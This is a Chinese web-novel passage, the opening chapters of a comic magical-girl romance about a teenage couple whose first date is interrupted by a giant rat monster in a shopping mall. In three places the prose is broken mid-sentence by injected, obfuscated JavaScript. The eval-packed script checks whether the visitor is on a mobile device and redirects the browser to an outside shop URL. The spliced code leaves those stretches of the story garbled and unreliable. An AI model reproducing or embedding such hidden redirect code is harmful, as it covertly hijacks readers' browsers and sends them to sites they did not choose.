《男友是魔法少女怎么办》 1. 约会 何橘总觉得今天的纪卓洲很奇怪。 蓝天白云,暑气正盛。太阳烤过的柏油路上,洒水车兢兢业业地冲刷着。水流打着旋儿,浸润、流淌又迅速蒸发,最终什么也没能留下。 对于正处在漫长高三暑假尾声的何橘和纪卓洲来说,这实在是一个再普通不过的下午。 如果纪卓洲没有一直询问她奇怪的问题的话。 毕竟是交往以来的第一场约会,何橘赴约时特地没有扎头发,让蓄了几个月的发丝软软地垂落在肩膀。 不过衣服没选好,不但上衣穿了件吸热的黑色T恤,背带裤坐下时肩带也总是下滑。 好在商场的冷气给得很足,不至于让何橘在八月毒辣的太阳下烤成一块黑炭。 何橘不厌其烦地将肩带捞回肩胛骨,已经不知道是捞肩带的次数多,还是回答纪卓洲莫名其妙问题的次数更多。 纪卓洲再一次神色紧张地发问:“你真的看不见这里有一只粉色章鱼?” 这里是商场一楼的用餐区,摆着几张白色桌椅。纪卓洲所指的地方是他们中间的圆桌桌面,纯白的桌板上摆放着两杯没开封的饮料和各自的手机,除此之外空无一物。 幸好今天是工作日的下午,整个用餐区只有他们两个,才没引来路人奇怪的视线。 何橘吸了一口果茶,无奈地叹气:“是章鱼先生,还是章鱼女士呢?” 纪卓洲做出一副倾听的姿态,片刻后,他突然整张脸变得通红,一把捏住桌上的某团空气:“让你回答问题,没让你说这个!” 何橘问:“它说了什么?” “它给了我一些约会建议。”纪卓洲维持着拧毛巾的动作回答何橘,“……一些没用的建议,我都已经计划好了,不用担心。” 那团“空气”配合纪卓洲夸张的肢体动作,在他手里拉伸变形。如果这是一场无实物表演,如果纪卓洲是一位电视明星,那何橘一定会给纪卓洲打出满分评价。 可惜纪卓洲不是隔着电视才能看到的表演家,他不但不是,他还是她交往时长高达两周半的恋爱对象。 何橘很难不担忧:“如果你身体不舒服,我可以先送你回家,今天就不要勉强了。” 纪卓洲到底怎么变成这样的?何橘困惑地瞧着他。 纪卓洲今天穿着简单的T恤,外搭一件短袖深色衬衣,黑发是经过打理的齐整,一些较长的碎发扎成半股小辫。裤腿挽了两圈,边缘打着褶。一看就是精心装扮过的帅气……至少他的精神状态还能支撑他完成衣物穿搭。 他的眼睛不是纯正的黑,含着一点焦糖色,商场的白炽灯照在他的眼底,像琥珀上一闪而过的流光。微微下压的眼尾软化了身高一米八给人的压迫感,带着三分自然而然的笑意,一副好好先生的模样。 同窗三年,何橘就没见过纪卓洲生气。人与人的相处总是免不了伴随争吵,特别是在精力旺盛的同龄男生之间,可纪卓洲偏偏能跟所有人都处成朋友。 谁遇到困难请他帮忙,他能帮就帮,实在不便也会给人留足面子。别人一逞口舌之快时,纪卓洲总是那个先一步后退的人,轻飘飘地道歉揭过一切,性子软和得像块面团,仿佛生来就没有少年时期特有的尖刺与傲气。 如果人可以用类型划分,无论是谁都会把纪卓洲分到“好相与”的那一类。 何橘也是这么认为的。她认可纪卓洲的软脾气,不觉得纪卓洲会故意做奇怪的恶作剧,反而情真意切地为他的脑子担忧。 “我记得城北医院的精神科很有名,你有空时可以去参观参观。” 纪卓洲颓然地坐下:“怎么这样,我真不是精神病!” 何橘点点头:“我也没说是……或许你只是有一位我看不见的幻想朋友。” “如果真是我幻想出来的就好了。”纪卓洲用手指勾勒着章鱼的轮廓,煞有介事地用指头戳着空气,仿佛那里真有一只章鱼,“可它就在桌子上,拳头大,八条腿,而且还在说我就是脑子有病。” 不得了,幻想朋友是章鱼还可以用迟来的中二病解释。幻想被幻想朋友骂又是什么症状? 何橘都有点可怜他了:“你……有没有其他方法,能证明这里确实存在一只章鱼?” 纪卓洲抬起眼,神色复杂地盯了何橘几秒。有那么一瞬间,何橘能感觉到,他似乎想告诉她什么至关重要的事,但最终,那话还是被咽了回去。 沉默之中,绑在商场中央空调上的布条逐渐回归无风的状态。几道嘎吱嘎吱的响声后,空调彻底停止运转。 何橘听见拿着喇叭的工作人员由远及近:“各位顾客,不好意思,商场的中央空调发生故障停止运转,目前正在努力排查。” 一个刚从商场外面进来的壮汉抹了一把汗,大声嚷嚷着:“什么时候修好?” “早不了。”另一个人回答他,“我刚从地下一层上来,在犄角旮旯看见好几只老鼠。我看啊,八成是老鼠咬断了电线……” 工作人员赶紧打断:“客人,我们每周都会大扫除的!我向您保证,我们这里绝对没有老鼠——” 壮汉抖了抖被汗水浸透的衣领,骂了一句:“那就快点!这鬼天气,热死个人了!” 何橘的视线在几张写满不耐的脸上扫过,上身前倾了一些:“既然空调坏了,要不我们今天先……” 刺啦。 椅子划过地板,发出一道刺耳的响声。纪卓洲猛地站起来,在何橘没反应过来时,捞起桌子上的手机和薛定谔的章鱼:“我去一趟洗手间!” 话音刚落,人就跑得不见踪影了。 真的有那么着急吗?何橘有点迷茫地想,难道这就是纪卓洲的证明方法? 毕竟他都这么着急了,还没忘记带走自己的幻想朋友。 被留下的何橘又喝了一口果茶,和她一起被留下的是纪卓洲的挎包和桌子上的半杯奶茶。吸管没入杯中,这么一会工夫,纸质吸管已经被泡得软烂。 奇怪,纪卓洲刚才有喝奶茶吗?何橘想不起来了。她的思维如同断了线的珠子,在这个节点上卡顿了一下,再续上时,连那个问题本身也一同遗忘了。 一些回忆填补了思考的空缺。 纪卓洲是在领到大学录取通知书的当天和她告白的。 二人是同班同学,不过何橘此前从未和纪卓洲在学校以外的地方见面,所以那天是她第一次见到纪卓洲穿常服的样子。 十八岁的男生脱掉校服,但没丢掉青涩感。他穿着一件白色T恤,站在何橘家门口的梧桐树下。 树叶间隙的零星光点打在他身上,他攥着和何橘同一所大学的录取通知书,垂着头,看不清表情,耳根通红。 纪卓洲说:“何橘,我喜欢你很久了。” 何橘感觉很奇怪:“你为什么喜欢我?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048735|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何橘对自己在班里的认知很清晰,冷漠又不合群,可以说是和纪卓洲完全相反。如果不是一些必须合作的值日工作,恐怕没几个同学愿意和她说话。 要说拿得出手的,恐怕也只有她的学习成绩。她把全部的时间用在读书上,考上了这附近最好的大学。 ……但纪卓洲学习也很好啊。 纪卓洲答不上,支支吾吾,憋出一句:“我现在说不出口……” 何橘不说话了,她的沉默太长太久,足够被纪卓洲解读成另一种意思。 告白的男生后退一步,双手背到身后,将录取通知书和脸上的失落一同藏了起来。 “我没想让你觉得困扰,只是觉得再不说就没机会了。”熟悉的笑容一点一点回到他脸上。 “……你不用把我的话放在心上。但既然我们有缘能去同一所大学,我们的关系还能是……同学,对吧?” 一个台阶被摆在何橘面前,她点头,这件事就能翻页。按纪卓洲的一贯作风,他大概率不会继续纠缠,以后走在路上偶遇,见到还能打个招呼。 何橘选择了摇头。 纪卓洲看着何橘,嘴角一点点抿平,背在身后的手不自觉地捏皱了纸张:“真的做不成同学吗?” “青城大学虽然就在本市,但往返一趟也要半天。你需要帮忙时叫一下我,我可以帮你搬行李。偶尔有事也能互相帮衬一下……” 何橘:“我没办法当作没听过。” “我们交往吧。”何橘打断他,认真地说,“我想和你谈恋爱。” 纪卓洲没说完的话卡在喉咙里,变成一阵奇怪的啊呜声响。 他是做好失败准备来的,肚子里攒了一箩筐体面退场的台词,唯独没准备获奖感言,直到何橘问他带手机了吗,他才像个重新启动的机器人,一个指令一个动作地拿出手机。 何橘用纪卓洲的脸解锁了手机,找到聊天软件:“你以前谈过恋爱吗?” 纪卓洲秒答:“没有,绝对没有。” “我猜也是,咱们高中不许早恋。”何橘输入自己的手机号,发送好友申请,“弄好了,手机还你。” “剩下的手机上聊吧,不过我可能回得比较慢。有急事可以给我打电话,现在我要回家了。”何橘说着就要走。 “哦……哦……好。”纪卓洲受宠若惊地捧着手机,“那我送你回家吧!” 何橘:“也行。” 现在想来,事情应该从那时就有预兆了。因为纪卓洲就像条小尾巴一样跟着何橘走了两步,花费三秒钟将何橘从自己家门口送到了楼道里,全然忘记自己是在人家家门口堵着人家告白的。 难道纪卓洲不和别人吵架是因为他纯傻? 在何橘的猜疑中,一对小情侣就这样崭新出炉。 随后两周时间过去,二位恋爱经验全无的新人下定决心,朝着名为“约会”的人类高级恋爱必修课前进。 然后到了约会当天。 纪卓洲坚称商场的桌子上有一只会说话的粉色章鱼,并带着章鱼和手机寻找洗手间,至今已过去一小时。 空调还没修好,暑气从窗户的缝隙一点点渗入,半小时前发送的消息没有收到回复,十分钟前的几个电话无人接听。 何橘坐不住了。 她得去找找纪卓洲,好不容易捡到的男朋友,可别是掉进坑里出不来了。 2. 社死笔记 何橘背起纪卓洲的挎包,拎着奶茶,沿着他离开的方向一路寻找。没找到公用洗手间,只看到一部通往地下一层的扶梯。 商场采用三加一结构,地上三层,地下一层。一楼主营服饰首饰,楼上多是餐饮。地下一层则聚集了各类儿童教培机构。 透过楼层之间扶梯的中空过渡口,可以看见地下一层有一个占地约八百平米的溜冰场,据说是某个俱乐部同商场合资建设的。 搭乘扶梯下来,首先到了一处偏僻的待租区。或许是为了省电,这里的灯光偏于昏暗。两侧的店铺门面略显些陈旧。所有商铺都大门紧闭,玻璃门上统一贴着商场管理方的联系方式。 这里怎么看也不像有洗手间的样子。纪卓洲跑哪去了?回家了? 不可能啊。何橘还背着纪卓洲的挎包,里面没多少东西,摇起来叮当作响,家门钥匙还在包里,他想跑也跑不了。 “纪卓洲——” 何橘边走边喊,找人的同时低着头在手机上搜索商场的儿童走丢中心。 她也不是没有想过干脆把纪卓洲的东西往椅子上一扔,自己就这么回去。 第一次约会,约会对象就中途失联一小时。换作别人,大概会觉得是被耍了吧。 纪卓洲告白那天,何橘恰好和父母大吵一架。何母严肃地告诉何橘,像她这样不愿和人交流来往,是无法继承家里的店面的。 这个问题由来已久,只是那天吵得格外厉害。 ……因为录取通知书送到家里,她偷改专业志愿的事藏不住了。 何橘很有骨气地拒绝沟通离家出走,但没走远。她在家门口的梧桐树下蹲着蹭了一会儿家里的WIFI,上网搜索交往的定义。 交往,汉语词语。广义上既包括人与自然之间的交往,又包括人与人的社会交往。 看起来似乎无懈可击。 但何橘没放弃。她快速划过那些健康正经的建议,直接翻到页面底部,在相关推荐阅读中不起眼的小角落找到了她想看到的内容。 交往,在某个年龄段的某些群体中,也可特指拥有深入情感联系的男女之间进行更深层次的交流。 这条不错,记下来记下来。过会回去开启吵架二阶段,咬文嚼字时总能用得上。 漫天要价,坐地还钱。只要她能向父母证明自己具备正常的人际交往能力,他们也就无话可说了。 只是她去哪里找这个特定人选呢? “何橘。”有人叫她的名字。 何橘一抬头,在梧桐叶间隙的零碎光斑中看见了纪卓洲的脸。 没有一点预兆的告白,支支吾吾说不出来的恋爱理由。何橘没把纪卓洲的告白当真,却也猜不出他的来意。 但若要糊弄父母,“和同班同学日久生情”可比“和临时演员在路边一见钟情”听起来可信得多。 所以男朋友脑子不好想出来的这些低级恶作剧……她也可以包容。 虽然地下一层有溜冰场,但何橘明显感觉这里比楼上更闷热。上面听不到的空调机的异响在这一层格外扎耳,从每一个镶嵌在墙壁上的通风管道里传来。 那声音吵得她脑仁发疼,忍不住捂住耳朵。感觉自己不像在商场,倒像站在某个正在全力运转的焊接车间里。 生锈的扇叶刮擦着空气,缺油的轴承一圈圈干转。刺耳的噪音在突破某个极限后,骤然转为一种平稳、悠长的电子音,像心电监护仪归于直线后的嗡鸣。 何橘慢慢松开手:“……结束了?” 地方还是那个地方,却似乎有哪里不同了。昏黄的灯光斜照着无人的走道,天花板上的空调出风口背后,几道黑影“嗖”地蹿了过去。 何橘来不及观察,小腿上有什么东西顺着她的裤子往上爬。 她低头一看,竟然是一只巴掌大的老鼠! 有的人受到惊吓会大叫,有的人受到惊吓会说不出话。何橘属于改良版的第二种。 她脑子一片空白,身体则迅速行动,拎着纪卓洲没喝完的奶茶一砸一抛一松手,然后撒腿就跑。 奶茶带着老鼠一起飞了出去,奶茶封口被摔开,一路滚,一路洒,在通道尽头的泼成一滩冰凉黏腻的甜水。 更多的老鼠受到刺激,争先恐后从通风管道里爬了出来。它们耸动着鼻尖,摇晃着细长的尾巴,看都不看一眼何橘,争抢着舔食奶渍。 灰色的皮毛挤在一起,远远看去像一张灰尘编织成的地毯,简直让人头皮发麻。 何橘跑得更快了,心里狠狠给纪卓洲又记上一笔。当然,还有那位信誓旦旦保证“商场绝对没老鼠”的管理员也跑不了。 谁说商场里没老鼠啊!这老鼠多得都能开养殖场了! 下来的扶梯被鼠群堵死,最近的出口只有溜冰场旁边的电梯。 何橘一边跑一边喘,速度还是没能打破50m的体测记录。毕竟距离体测都过去几个月了,也不能真指望每天伏案刷题的高中生再创辉煌。 然而,当何橘真看见溜冰场上的那东西时,她觉得她也不是不能再跑快点。 ……那是什么啊? 溜冰场的检票台门户大开,检票员早已不见踪影。 一只两米高的巨鼠矗立在溜冰场中央。它的爪子并非踩在冰上,而是深深凿了进去。灰色的被毛一绺一绺地黏连着,随着它粗重的呼吸缓慢起伏。 在它正前方的一位少女正独自与这头噩梦般的巨兽对峙。 距离有些远,何橘只能看清她头发是金色的,穿着一身与酷暑格格不入的、厚实繁复的黑色蓬蓬裙。 层层叠叠的裙摆随着她的步伐晃动,她凌空旋身,敏捷腾跃,惊险地避开了巨鼠的扑击,长发在身后扬成一道凌厉的弧线。 ——然后,“啪”地全甩在了自己脸上。 这只是倒霉的开始,短暂的视野阻隔让躲避变得更为困难,更何况她脚上还穿着皮靴。 巨鼠的啃咬和扑击将平整的冰场破坏得坑坑洼洼,少女不得不接连在冰上翻滚,才能躲开一次又一次的攻击。 生化危机?狂鼠之灾?动物变异? 几个听着就很危险的猜测划过脑海,何橘……何橘没忍住,先掐了一下自己的手臂。 清晰的痛感顺着神经末梢传来。 不是梦。 她迫切地希望能有个人喊“咔”,再来几个抬着摄像机的工作人员,把她轰出这块误入的“拍摄场地”,可惜没有,一个人都没有。 老鼠当了得意的猫,人成为逃窜的鼠。猫拿耗子的游戏进行到尾声,先感到不耐的是锁定胜利的一方。 巨鼠仰头发出一声尖啸。 “嘎吱——嘎吱——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048736|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 并非老鼠的吱吱声,而是何橘刚刚听过的齿轮摩擦声。熟悉的小老鼠响应集群的呼喊,如潮水般涌上冰面,一只接一只,蠕动着融入那巨鼠的躯体。 摔在碎冰间的少女撑起身体,咳了几声:“终于开始聚集了。下一步怎么办?” “下一步?你还想着解决了回去约会?”趴在他肩头的粉章鱼翻了个白眼,“纪卓洲,咱们俩今天都得在这完蛋!” “让你早点约会攒能量你不听。现在好了,怪兽专挑你约会的时候来,凭你这仨瓜两枣怎么打。” 纪卓洲跳过那些挖苦的话:“你之前不是说有杀手锏吗?” 粉章鱼来了精神:“你愿意学了?好好好,只要你有这份心,现在也来得及!” 它从八条腿里抽出两条又短又扁的前肢搓了搓。 几本书闪着光,像变戏法般从空无一物的地方显形。 “这都是我珍藏的秘籍,只要你融会贯通,这种未开智的怪兽简直手到擒来。”粉章鱼喜气洋洋地叮嘱,“一定要认真钻研,大声朗读,务必参透!” 吹这么厉害。纪卓洲心里嘀咕,不会是它从别人那抄来的吧? 尽管纪卓洲和这只坑蒙拐骗的外星章鱼有过节,但对方毕竟是经验丰富的魔法少女指导者,生死关头,总不至于拿自己的小命开玩笑。 书交到纪卓洲手里,每一本的书皮都是纯白的,厚度不一,从外表看就非常符合秘籍的神秘气质。 纪卓洲捡起书,迫切想找到破解眼下危局的方法,翻开第一页,竟然还有放大的招式插图。 这一定有用!他迫不及待念出图上的注解:“呵,谁允许你擅自闯进我的世界,还偷走了我的东西?你问什么东西,当然是我宝贵的心……” 他卡壳了。 粉章鱼淡定道:“接着念啊,看我干什么,不想活了?” 万一是拿错了呢?纪卓洲告诉自己要冷静,这里还有其他的书。 他翻开第二本:“你笑起来的样子也太没有防备心了……希望你能意识到,我姑且也是个男——” 这好像也不对吧! “我制造的领域撑不了多久,现在外面的人是进不来,里面的怪兽也出不去。等能量用光,怪兽就该出去害人了。”粉章鱼苦口婆心,“不喜欢这本,没事,还有下一本。” 为了大义,纪卓洲忍。 第三本。 “你的手摸起来好……” 书被啪地一声合上。 纪卓洲真想穿越回一分钟前,掐死对粉章鱼还抱有期待的自己。他左一本右一本抓起“秘籍”,左右开弓,两面包夹粉章鱼,狠狠出了一口恶气。 终究还得靠自己想办法。粉章鱼虽然说了很多废话,但有一点没说错。 时间真的不多了。 他撑着冰面站起身,依旧不太适应这副骨架变小、身着裙装的模样。据说这是“魔法少女”的标准着装,变身状态能提供保护。在消灭怪兽之前,他必须维持这个样子。 纪卓洲想查看一下巨鼠的动向,头还没完全转过去,先对上了溜冰场外围、躲在护栏后的何橘探究的视线。 纪卓洲:“……” 何橘:“……” 纪卓洲:“……”说好的领域展开,人类禁止通行呢? 这下尴尬了。 3. 圆桌会议 何橘其实没听到纪卓洲和粉章鱼的对话。 隔着几米是一方面,但更主要的原因是—— 在融合而成的大老鼠和穿洛丽塔的少女之间,任谁都会觉得前者更需要提防吧! 仅仅和纪卓洲的眼神交错一秒,何橘便再次将忐忑不安的视线投向巨鼠。 完成融合后的老鼠壮得像一座山,它低俯身体,颤动胡须,呼出的气息带有极高的温度,光是鼻息就在破碎的冰面上激起一层水汽。 何橘又听见了声音。 自从她进入地下一层后,这个声音就不断纠缠着她。先是骤鸣,再到粗粝的刮擦声,直到巨鼠融合后,她才终于听清了全部。 冷凝水从高处滴落,砸在地上。排风扇旋转不停,鼓风机带动冷气扫过室内,吹起尘埃。 那些细小的声音汇成一条条溪流,溪流交汇成河,一股脑儿涌入她的脑海,不断敲击她的鼓膜。 整个青城市中,数百万台空调在炎炎夏日中昼夜不休地运作。每一台空调边都上演着烦躁与抱怨的重复独白。 有人推门而入,手指勾开衣领,烦躁地感叹—— “好热啊。”何橘说。 话语脱口而出的一刹那,原本正在逼近纪卓洲的巨鼠调转头颅,渗人的黑眼睛倒映出何橘空茫的表情。 粉章鱼在冰面上弹跳了一下:“糟了!她被怪兽影响了!” 巨鼠张开了嘴。 它其实没有真正意义上的嘴,虚假的伪装下是吞噬一切的空洞。 它可以汇聚,也可以分裂。怪兽诞生于人们的每一道叹息,每一句抱怨之中,人类的情绪汇聚浓缩,成为滋养怪兽成长最好的养料。 何橘身上的味道令它熟悉,焦躁不安混杂着恐惧,正是采摘的最佳时间。或许一只新的老鼠将响应鼠群的号召,成为怪兽的一部分。 纪卓洲:“快跑!” 何橘被陌生的少女推搡了一下,终于从纠缠她的古怪声音中挣脱出来。刚才同她对视的少女正挡在她身前。 刚才发生什么?何橘的反应慢上半拍:“那你呢?” 纪卓洲背对着何橘:“我留下来拖延。” “你见过一个扎小辫的男生吗?” 纪卓洲头也没回道:“他在楼上等你。” 巨鼠迈进一步,炙热的呼吸让周边的空气都升高几度。 没有别的问题该问了,或者说没有时间问了。何橘的理智正在发出警告,她应该逃跑。 立刻。 但恐惧不易抹消,何橘的脚像是扎根一样长在地上。 她害怕危险,害怕老鼠,更害怕这一切的未知。她像大海里的一条卷入漩涡的鱼,不知浪潮会将她送去何方。 手心冒汗,心如擂鼓。萍水相逢的人挡在何橘前面,背脊绷得挺直。 她又是什么人? 少女的背影被四周的灯光照得单薄又瘦小,脖颈的弧度脆弱又纤细。那只老鼠扑上来,恐怕用不了两秒就能从她身上踏过去。 摇晃不定的现实中,只有本能是何橘唯一的依仗。 有的人受到惊吓会大叫,有的人受到惊吓会说不出话。何橘二者皆非。 巨鼠张着血盆大口扑来时,何橘想也没想地用右手抓住纪卓洲的肩膀后拉。 纪卓洲错愕:“你……” 还没完! 何橘继续向前,左手里的挎包一扬,用力砸进巨鼠的眼睛! “噗嗤”一声闷响,挎包坚硬的金属搭扣分毫不差地命中巨鼠左边的眼睛。 巨鼠发出一声痛呼,头颅猛地向后一仰,身体因为大幅度动作失去平衡。 “快跑!”何橘抓住纪卓洲的手,“走这边!” 纪卓洲一怔,很快跟上:“哦、哦……好!” 挎包掉落在地,叮当响声不停。 疼痛激发了怪兽的凶性,瞳孔缩成了针尖大小,另一只完好的眼睛死死钉在何橘身上。 喘息的时间并不长。 何橘争分夺秒,一路狂奔,但被她抓着手腕的少女是个不折不扣的拖油瓶。不仅一声不吭,浑身僵硬,连跑步都是同手同脚,眼睛更是飘忽不定,总往手腕上瞟。 何橘恨铁不成钢:“你能不能跑快点?” “我跑不快。”少女磕磕绊绊解释,“我、我还没适应这个鞋子。” 何橘低头一看,少女穿着一双棕色中筒皮靴,上门有几条装饰用的皮带,鞋跟足有三厘米高。 这当然跑不快!亏她还能穿这样的鞋子在冰面上和老鼠玩捉迷藏。 何橘态度强硬:“脱了光脚跑!我们坐扶梯上去,它这个体型钻不上来。” 少女缩了缩肩膀,声音压得更低了:“这不好吧……” 何橘完全不能理解她的想法。 这都什么时候了,还在意穿不穿鞋?等会老鼠把她俩啃了,别说鞋了,怕是连渣不剩! 但她又看了看少女的模样,裙子的布料高级顺滑,米金色的发尾打着漂亮优雅的小卷,皮肤白得像是从没见过太阳似的。 如果不是相遇的地点不对,何橘真会把她当成油画里走出的公主。 她发冠上镶嵌的红宝石不会是真货吧…… “你脱不脱?” 可何橘管不了那么多,再耗下去他们两个都得完蛋。既然少女不动,那就她来! 但纪卓洲也是要面子的,与其让何橘帮他脱鞋子,那还不如—— “你别动,我自己来!”他大声说。 何橘被她的气势震慑,瞬间收回手:“好、好的,那你自己脱。” 纪卓洲咽了下口水。 前面纪卓洲下意识就跟着何橘跑了,这会儿才后知后觉,羞得想要在地上找条缝儿钻进去。 在心里默念无数遍“何橘不知道是我,我现在是魔法少女状态”也不起作用。 心理上哪有这么简单接受啊!一周前他还是清清白白的十八岁男青年! 结果不知道打哪里来了只章鱼,非要和他签订契约。 说什么现在整个青城市陷入了巨大的危机,你是唯一能守护城市的人,然后把他变成魔法少女往怪兽堆里丢。 但平时章鱼丢纪卓洲时都会展开认知屏蔽领域,将附近的人类自动驱逐。被熟人撞见变身后的模样,还是头一回。 他是想趁着约会和何橘说些魔法少女的事,试探下何橘的想法,但绝对不是以现在这幅外表。 魔法少女的衣服都是变身时直接生成的,从头到脚只追求华丽好看。至于穿脱的便利性?不存在的。 何橘的眼神纪卓洲在他仿佛慢动作一样的手上,带着毫不掩饰的催促。 纪卓洲只能暗自祈祷他穿着的是双正常袜子。 皮靴花里胡哨的绑带松开半寸,踮着的脚跟再抬高些许。纪卓洲先何橘一步,看见了袜子的模样。 脑子“嗡”了一声。 黑色的。 带蝴蝶结。 ……还是镂空渔网袜。 尖利的爪子在地面急促地抓挠,一路上的广告牌障碍被统统撞开。巨鼠简直像一辆暴走的卡车,飞快地追上何橘和纪卓洲。 它本就在焦躁与烦闷的浇灌下成长,被人类偷袭的怒火在胸腔里愈演愈烈,心里只有一个念头: 他们逃不掉了!它要用牙齿咬开他们的外壳,汲取内部鲜美的情感,再献给那位大人…… 何橘看见老鼠的快速逼近:“别管了,我们先上去!” “……等一下。” “等什么!”何橘已经开始怀疑纪卓洲和老鼠是一伙儿的了,“那怪物都要——” 纪卓洲猛地站起转身,面向那辆横冲直撞的“鼠形卡车”,将所有的羞愤、尴尬和不知所措,尽数灌注在紧握的右拳中。 “给我滚开!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048737|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他根本没管什么招式,也不会用什么魔法,纯粹凭着胸中一股无处发泄的怒火,朝着冲到面前的巨鼠,一拳挥出! 噗叽。 他的拳头整只陷进了巨鼠那挤满脂肪的、毛茸茸的肚皮里。巨鼠紧急刹车,却还是不可避免地吃下整发拳击。狰狞的表情仿佛被按下了静止键,唯有那双通红的眼睛写满难以置信。 时间仿佛凝固了一秒。 紧接着—— 巨鼠发出了像是被猛然挤压出肺里所有空气的、尖细到变调的哨音。三米高的庞大身躯蜷缩着,竟像一颗被击发的弹力球,沿着自己撞出来的轨迹,连飞带颠地滚回了溜冰场。 最后整只鼠撞在破碎的冰面上,摇摇晃晃地趴下,尾巴尖还神经质地、一下一下地轻微抽搐着。 何橘目瞪口呆,偷偷后退两步。 粉章鱼扒着溜冰场的护栏,瞅瞅怪兽,摇头唏嘘:“男人的自尊心真可怕。” 它匀出两只章鱼脚招呼道:“喂——解决了——” 纪卓洲呆呆地看着自己毫发无损、甚至没怎么感到反作用力的拳头,又看了看远处那摊巨大的、失去所有力气摊平的鼠饼。 “我……” 他张了张嘴,看向旁边同样石化的何橘,干巴巴地解释道,“其实我平时,挺温柔的。” 何橘也干巴巴地附和:“嗯……是,是挺温柔的。” 都可以一拳打飞巨鼠,还愿意陪她跑这么远一段路,配合她脱鞋……怎么称不上温柔体贴呢。 * 黑暗的角落。 怪兽们正围坐在圆桌旁,享受悠闲的聚餐。 它们将从人类那里收集到的、五彩斑斓的情绪熬成一锅粥。一只鹦鹉口衔汤勺,给在座的四只怪兽各盛了一碗汤。 “闻起来不错。”猫咪用粉嫩的鼻尖轻轻嗅闻,“我的小老鼠们带来了焦虑、恐惧、挫败,还有一点……” 鹦鹉分完了最后一碗汤:“你为什么不尝尝看呢,考官?” “我当然会尝,这可是我带来的食材。”猫咪神气地舔了一口,却飞快收回舌头,“……嘶!什么东西这么烫嘴?” 圆桌中央摆放着一台显示器,画面上是何橘与纪卓洲的身影。 鹦鹉咯咯笑起来:“亲爱的,这是名为羞耻的调味剂。刚才魔法少女就是用它打败了我们的同胞。” “它还称不上同胞,不过是负责收集食物的宠物。”猫咪蜷缩着粉色的舌头,刻薄地评价,“魔法少女再次出现也称不上大事。我们既然能打败第一个,就能打败第二个。” “别扯开话题。” 圆桌上的显示器播放出一张简笔画的嘲讽脸,一个带着电流杂音的声音响起:“考官,你的手下输给了魔法少女。按照约定,你这碗汤归我了。” 名为考官的猫咪哼哼着:“你以为我没发现吗?是你把那个人类引入了魔法少女的战场!作弊成绩归零,是你该把汤给我才对。” “你有证据吗?” “现在立刻派手下去检查那座扶梯——” “不好意思,魔法少女离开前清除了所有痕迹。也是,毕竟魔法少女不是愚蠢的猫咪,做事时不会把猫毛掉得到处都是。” “你……!”猫咪气势汹汹地站了起来。 显示器上的线条挑衅地乱晃:“哈气了哈气了!” “好了,二位。”鹦鹉制止了这场争吵,“骇客,我的这碗给你吧。” 考官眯起眼:“那你呢?” “我不喜欢这个味道,太酸了。我更喜欢甜一点的。”鹦鹉温柔地说。 “安静。”一直没开口的最后一只怪物说,“我组织这场聚会,并不是为了听你们无聊的争吵。” 猫咪和鹦鹉恭敬地低下头,显示屏啪地一下熄灭了所有的画面。 “我们该商讨这场聚会真正的主题了。” “关于……如何摧毁魔法少女。” 4. 冰激凌甜筒 何橘和纪卓洲面面相觑。 先来整理一下现状。 何橘,十八岁。和男朋友纪卓洲约会途中发现对方失联,寻找时遭巨大变异老鼠袭击,和一位奇装异服的少女一同逃命,并目睹了后者一拳捶飞老鼠的超现实场面。 目前最担心的是因为目击非常识事件而被卷入更大的麻烦。 纪卓洲,十八岁,和女朋友何橘约会途中收到怪物警报,不仅被何橘目击穿着裙子,还顺手捶飞了怪兽。现正被只有他能看见的吉祥物粉章鱼催着快跑,因为变身时间快到了。 目前最担心自己马甲不保。 两个人非常默契且诡异地沉默了一会,然后异口同声。 何橘:“我、我先走了!” 纪卓洲:“我我我先走了。” 沉默。 何橘:“保重。” 纪卓洲:“保重。” 再度冷场。 任由尴尬的氛围在空气中蔓延了几秒,何橘将那句已到嘴边的“最好再也不见”咽了回去,头也不回地飞快转身离开。 她乘着扶梯回到一楼,此时空调已经恢复运行,通风管道吹来徐徐冷风。 零星的几位游客像无事发生般有说有笑,何橘手扶护栏向下望去,惊讶地发现整个溜冰场完好无损,冰面平整。 不知何时出现的工作人员正在登记来客,那只特别大的老鼠连带着同它战斗的少女都消失得无影无踪,仿佛一切都没有发生过。 何橘又掐了一下自己,还是很痛。 她梦游似的倚着围栏,在高处看着一个个七八岁的孩子跌跌撞撞踏上冰面,如同一把黑豆洒进筛子里左摇右晃,只觉得自己刚经历的一切正将她的常识也一同颠簸,跟着被搅成一团浆糊。 最初的恐惧逐渐退潮,唯有巨大的荒诞感仍沉沉地压在心头。她拿出手机,想给家里打个电话,解锁屏幕后率先看到的却是几通呼叫失败的拨号记录。 